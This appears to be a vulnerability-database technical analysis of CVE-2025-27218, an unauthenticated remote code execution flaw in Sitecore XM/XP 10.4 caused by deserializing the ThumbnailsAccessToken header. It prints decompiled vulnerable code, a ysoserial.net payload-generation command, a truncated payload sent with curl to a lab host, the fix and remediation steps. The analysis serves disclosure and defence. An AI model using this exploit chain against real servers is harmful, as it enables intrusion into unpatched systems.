Attacker Value
Very High
(1 user assessed)
Exploitability
High
(1 user assessed)
User Interaction
Unknown
Privileges Required
Unknown
Attack Vector
Unknown
0

CVE-2025-27218

Disclosure Date: February 20, 2025
Add MITRE ATT&CK tactics and techniques that apply to this CVE.
Execution
Techniques
Validation
Validated

Description

Sitecore Experience Manager (XM) and Experience Platform (XP) 10.4 before KB1002844 allow remote code execution through insecure deserialization.

Add Assessment

4
Ratings
  • Attacker Value
    Very High
  • Exploitability
    High
Technical Analysis

Overview

On January 6, 2025, Sitecore published a security bulletin, SC2024-002-624693 , for a critical unauthenticated remote code execution (RCE) vulnerability affecting the products Sitecore Experience Manager (XM) and Experience Platform (XP) 10.4. On February 20, 2025 the vulnerability was assigned CVE-2025-27218. The vulnerability is the result of deserializing attacker controlled data originating from an HTTP GET request. An unauthenticated and remote attacker can execute arbitrary commands by sending a base64 encoded serialized .NET object into the ThumbnailsAccessToken HTTP header.

Analysis

Our analysis is based upon a vulnerable version of Sitecore XM 10.4 ( Sitecore.Kernell.dll version 19.4.84 ).

Vulnerability

The vulnerability lies in the screenshot functionality for generating thumbnails. It works by taking a screenshot of the page with phantomjs, then resizing the image. To begin to analyze CVE-2025-27218, we will first view the vendor supplied hotfix. The hotfix removes the Sitecore.Thumbnails.Pipelines.AuthenticateThumbnailsRequest processor from the httpRequestBegin pipeline.

<configuration xmlns:patch="http://www.sitecore.net/xmlconfig/" xmlns:role="http://www.sitecore.net/xmlconfig/role/">
	<sitecore role:require="Standalone or ContentManagement or XMCloud">
		<pipelines>
			<httpRequestBegin>
				<processor type="Sitecore.Thumbnails.Pipelines.AuthenticateThumbnailsRequest, Sitecore.Kernel" resolve="true">
					<patch:delete />
				</processor>
			</httpRequestBegin>			
		</pipelines>
		<settings>
			<setting name="Sitecore.ThumbnailsGeneration.Enabled">
				<patch:attribute name="value">false</patch:attribute>
			</setting>
		</settings>
	</sitecore>
</configuration>

We can view the code of the disabled function by opening Sitecore.Kernel.dll in a .NET disassembler and browsing to the
AuthenticateThumbnailsRequest class in the Sitecore.Thumbnails.Pipelines namespace. The class grabs an HTTP request, checks if a header is valid with _tokenService.IsTokenValid, and authenticates the request as a user if it returns true.

		public override void Process(HttpRequestArgs args)
		{
			string text;
			if (args == null)
			{
				text = null;
			}
			else
			{
				HttpContextBase httpContext = args.HttpContext;
				if (httpContext == null)
				{
					text = null;
				}
				else
				{
					HttpRequestBase request = httpContext.Request;
					text = ((request != null) ? request.Headers[ThumbnailFlowBase.TokenName] : null);
				}
			}
			string text2 = text;
			if (!this._tokenService.IsTokenValid(text2))
			{
				return;
			}
			string generatorUserName = this._settings.GeneratorUserName;
			User user = null;
			if (!User.Exists(generatorUserName))
			{
				object @lock = AuthenticateThumbnailsRequest.Lock;
				lock (@lock)
				{
					if (!User.Exists(generatorUserName))
					{
						user = User.Create(generatorUserName, "b");
						user.Profile.IsAdministrator = true;
						user.Profile.Save();
						MembershipUser user2 = this.GetUser(generatorUserName);
						user2.ResetPassword();
					}
					goto IL_B6;
				}
			}
			user = User.FromName(generatorUserName, true);
			IL_B6:
			this._authManager.Login(user);
		}

Viewing the IsTokenValid method in the MachineKeyTokenService in the Sitecore.Thumbnails namespace, we can see the token is processed in the Convert.Base64ToObjectmethod.

		public bool IsTokenValid(string token)
		{
			bool flag;
			try
			{
				byte[] array = Convert.Base64ToObject(token) as byte[];
				byte[] array2 = MachineKey.Unprotect(array, Array.Empty<string>());
				if (array2 == null || array2.Length == 0)
				{
					flag = false;
				}
				else
				{
					Guid guid = new Guid(array2);
					flag = guid == this._token;
				}
			}
			catch
			{
				flag = false;
			}
			return flag;
		}

The token name can be found in the ThumbnailFlowBase class in the Sitecore.Thumbnails namespace, which contains the method for taking screenshots along with others.

public static string TokenName { get; } = "ThumbnailsAccessToken";

This method was previously leveraged for a critical RCE vulnerability discovered by Assetnote, which Sitecore provides a patch for in their SC2023-001-568150 security bulletin. The method base64 decodes the string and deserializes it with BinaryFormatter.

public static object Base64ToObject(string data)
{
    Error.AssertString(data, "data", true);
    if (data.Length > 0)
    {
        try
        {
            byte[] buffer = Convert.FromBase64String(data);
            BinaryFormatter binaryFormatter = new BinaryFormatter();
            MemoryStream serializationStream = new MemoryStream(buffer);
            return binaryFormatter.Deserialize(serializationStream);
        }
        catch (Exception exception)
        {
            Log.Error("Error converting data to base64.", exception, typeof(Convert));
        }
    }
    return null;
}

ysoserial.net can be used to generate a payload with shell commands.

PS C:\Users\admin1\Desktop\ysoserial-1.36_\Release> .\ysoserial.exe -f BinaryFormatter -g WindowsIdentity -c "ipconfig > \inetpub\wwwroot\XP0.sc\upload\pwn.txt"
AAEAAAD/////AQAAAAAAAAAEAQAAAClTeXN0ZW0uU2VjdXJpd...

Sending the payload in the ThumbnailsAccessToken will run the command.

curl -k https://xp0.sc/ -H "ThumbnailsAccessToken: AAEAAAD/////AQAAAAAAAAAEAQAAAClTe..." -v

The Fix

The token is parsed as a string instead of a object, so it isn’t deserialized.

		public bool IsTokenValid(string token)
		{
			bool flag;
			try
			{
				byte[] array = Convert.FromBase64String(token);
				byte[] array2 = MachineKey.Unprotect(array, Array.Empty<string>());
				if (array2 == null || array2.Length == 0)
				{
					flag = false;
...

Remediation

For on prem and PaaS installations, apply the hotfix in KB1002844 , provided by Sitecore.
Validate that the updated version is installed by viewing the properties of the Sitecore.Kernel.dll and ensuring that the version is higher or equal to 19.4.93.21984

Another option is to download a config file that disables the vulnerable functionality from Sitecore’s security bulletin, then place it in the \App_Confing\Include\zzz folder.

CVSS V3 Severity and Metrics
Base Score:
None
Impact Score:
Unknown
Exploitability Score:
Unknown
Vector:
Unknown
Attack Vector (AV):
Unknown
Attack Complexity (AC):
Unknown
Privileges Required (PR):
Unknown
User Interaction (UI):
Unknown
Scope (S):
Unknown
Confidentiality (C):
Unknown
Integrity (I):
Unknown
Availability (A):
Unknown

General Information

Additional Info

Technical Analysis